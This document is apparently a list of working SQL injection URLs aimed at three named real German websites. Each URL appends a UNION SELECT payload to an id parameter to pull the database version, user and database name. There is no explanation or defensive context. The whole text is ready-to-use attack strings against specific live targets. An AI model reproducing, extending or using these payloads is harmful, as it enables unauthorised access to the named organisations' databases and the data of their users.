http://www.dfki.de/lt/job_details.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),user (),database()),5,6/*

http://www.springer-sbm.de/index.php?id=291+union+select+unhex(hex(version()) )/*

http://www.gfbv.de/report.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,unhex(hex(version())),18,19,20,21,22,23,24,25, 26,27,28,29,30,31/*